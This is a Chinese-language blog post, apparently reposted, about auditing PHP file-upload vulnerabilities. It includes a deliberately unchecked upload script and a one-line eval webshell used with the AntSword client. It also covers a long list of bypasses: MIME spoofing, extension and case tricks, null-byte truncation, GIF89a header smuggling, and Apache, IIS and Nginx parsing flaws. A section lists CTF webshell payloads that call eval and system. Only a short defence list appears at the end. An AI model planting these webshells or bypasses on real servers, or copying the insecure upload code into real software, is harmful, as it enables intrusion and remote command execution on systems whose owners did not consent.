2020/1/30 PHP代碼審計之文件上傳漏洞


0x00 漏洞簡介

文件上傳漏洞是指用戶上傳了一個可執行的腳本文件,並通過此腳本文件獲得了執行服務器端命令的能力。這種攻擊是最為直接和有效的,“文件上傳”本身是沒有問題,有問題的是文件上傳后,服務器怎么處理,解釋文件。如果服務器的處理邏輯做的不夠安全,則會導致嚴重的后果,。

0x01漏洞條件

文件可上傳
知道文件上傳的路徑
上傳文件可以被訪問
上傳文件可以被執行

0x02 挖掘思路

上傳點都調用同一個上傳類,直接全局搜索上傳函數
黑盒尋找上傳點,代碼定位。

0x03 寫一個上傳

我們先寫一個上傳的前端

<html>
<head>
<meta charset="UTF-8">
<title>upload.html</title>

</head>
<body>
<form action="upload.php" method="post" enctype="multipart/form-data">
	<input type="file" name="file">
	<input type="submit" name="上傳文件">
	<!--<input type="hidden" name="MAX_FILE_SIZE" name="4098">//設置文件上傳大小,一般在php.ini里面設置-->

</form>

</body>

</html>

寫一個上傳php

<?php
$upload_dir = "D:\PHPSTUDY2018\PHPTutorial\WWW\upload";
if(isset($_FILES['file'])){
	$upload_name = $upload_dir . "\\" . $_FILES['file'];
	move_uploaded_file($_FILES['file']['tmp_name'],$upload_name);
	echo "Type:" . $_FILES['file']['type']. "<br >";
	echo "Size:" . ($_FILES['file']['size'] / 1024) . "<br >";
	echo "Name:" . $_FILES['file']['name'];//這三行是我們看一下上傳效果。

}else{
	echo"上傳失敗";
}

寫一個最簡單的一句話

<?php
@eval($_POST['777'])


?>

上傳:

看到上傳成功

之后拿蟻劍連接就行
這是一個最簡單最簡單的例子,只是讓自己開始往白盒方向轉變。慢慢積累

0x04 文件上傳繞過

1:客戶端js檢測檢測繞過

檢測原理

在客戶端通過javascript代碼來檢測用戶提交的文件是否合法
繞過方法

  1. 添加允許上傳的文件類型,使自己想要上傳的會見類型為合法

2、刪除對js驗證腳本的調用,使其不能對上傳的文件類型做檢測,從而達到繞過 -同樣的通過審查元素,查看到form表單的內容,form的開始標簽為

,其中的onsubmit="return checkFile()的作用就是當點擊上傳按鈕的時候,就會觸發js驗證腳本,所以將這一部分刪除,變可以成功繞過檢測

3、利用burpsuite抓包,修改文件類型進行繞過-首先將我們想要上傳的惡意腳本的后綴更改為符合要求的文件類型后綴如:webshell.php  -> webshell.jpg-當點擊上傳的時候使用burp進行抓包,將名字的后綴改回.php,以便上傳至服務器能夠正確解析

2:服務端繞過

1:MIME類型檢測繞過

檢測原理
當用戶上傳文件到服務器端的時候,服務器端的程序會獲取上傳文件的MIME類型,然后用這個獲取到的類型來和期望的MIME類型進行匹配,如果匹配不上則說明上傳的文件不合法。服務端檢測MIME類型的代碼如下:

if (($_FILES['upload_file']['type'] == 'image/jpeg') || ($_FILES['upload_file']['type'] == 'image/png') || ($_FILES['upload_file']['type'] == 'image/gif')){

 ...//判斷過后對文件處理的進一步操作
}

繞過方法

因為服務端檢測的是文件的MIME類型,而對這個MIME類型的的值的獲取是通過HTTP請求字段里的Content-Type字段 ,所以繞過的方法就是通過修改Content-Type的值,比如修改為image/jpeg;image/png;image/gif等等允許上傳類型對應的MIME值
2:黑名單繞過
檢測原理

文件類型根據黑名單來檢測的原理就是:服務器程序根據一份文件后綴名的名單來判斷是否允許當前文件上傳到服務器,只要上傳的文件的類型能夠和這個黑名單里面的類型匹配,那么就禁止該文件上傳

繞過方法

1. 文件名大小寫繞過
用像AsP, pHp之類的文件名繞過黑名單檢測2. 名單列表繞過
用黑名單里沒有的名單進行攻擊,比如黑名單里沒有asa或cer之類
3. 特殊文件名繞過
比如發送的 http包里把文件名改成 test.asp. 或 test.asp_(下划線為空格),這種命名方式
在windows系統里是不被允許的,所以需要在 burp之類里進行修改,然后繞過驗證后,會
被windows系統自動去掉后面的點和空格,但要注意Unix/Linux系統沒有這個特性。
4.0x00截斷繞過

test.php(0x00).jpg  test.php%00.jpg
  1. .htaccess文件攻擊
    6.  解析調用/漏洞繞過
    7:.ini文件攻擊
    8:文件頭繞過
在木馬內容基礎上再加了一些文件信息,有點像下面的結構GIF89a<?php phpinfo(); ?>

9:多個Content-Disposition

在IIS的環境下,上傳文件時如果存在多個Content-Disposition的話,IIS會取第一個Content-Disposition中的值作為接收參數,而如果waf只是取最后一個的話便會被繞過,Win2k8 + IIS7.0 + PHP

10:目錄驗證
iis6.0存在寫入目錄

3:web應用程序解析繞過

1. Apache解析漏洞
解析:test.php.(任意不屬於黑名單且也不屬於Apache解析白名單的名稱),比如test.php.lala
描述:一個文件名為test.x1.x2.x3的文件,apache會從x3的位置開始嘗試解析,如果x3不屬於apache能夠解析的擴展名,那么apache會嘗試去解析x2,直到能夠解析到能夠解析的為止,否則就會報錯
2. IIS解析漏洞
解析 :test.asp/(任意文件名)|test.asp;(任意文件名) | (任意文件名)/(任意文件名).php

描述:IIS6.0在解析asp格式的時候有兩個解析漏洞,一個是如果目錄名包含".asp"字符串,
那么這個目錄下所有的文件都會按照asp去解析,另一個是只要文件名中含有".asp;"會優先按asp來解析

IIS7.0/7.5是對php解析時有一個類似於Nginx的解析漏洞,對任意文件名只要在URL后面追加上字符串"/任意文件名.php"就會按照php的方式去解析;
3. Nginx解析漏洞
解析: (任意文件名)/(任意文件名).php | (任意文件名)%00.php

描述:目前Nginx主要有這兩種漏洞,一個是對任意文件名,在后面添加/任意文件名.php的解析漏洞,比如原本文件名是test.jpg,可以添加為test.jpg/x.php進行解析攻擊。
還有一種是對低版本的Nginx可以在任意文件名后面添加%00.php進行解析攻擊。

0x05 我打ctf經常用的一句話

1:碰到過一次任意文件上穿漏洞,在config.php中並未發現定義類型Media,請求:upload/.php?Type=Media
2:上傳圖片馬
3:序列化木馬:

<?php
class A{
	var $a = "<?php phpinfo()?>";
}
$aa = new A();
echo serialize($aa);
?>

4:php,php3,php4,php5,phtml.pht
5:擴展名繞過
Asp:asa cer cdx
Aspx:ashx asmx ascx
Php:php3 phptml
Jsp:jspx jspf
6:

<script language=php>system("ls")</script>

7:

GIF89a?
<script language="php">eval($_REQUEST[shell])</script>

0x06 防御

文件擴展名服務端白名單校驗。

文件內容服務端校驗。
上傳文件重命名
隱藏上傳文件路徑。

參考鏈接https://www.cnblogs.com/ldhbetter/p/9190556.html


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM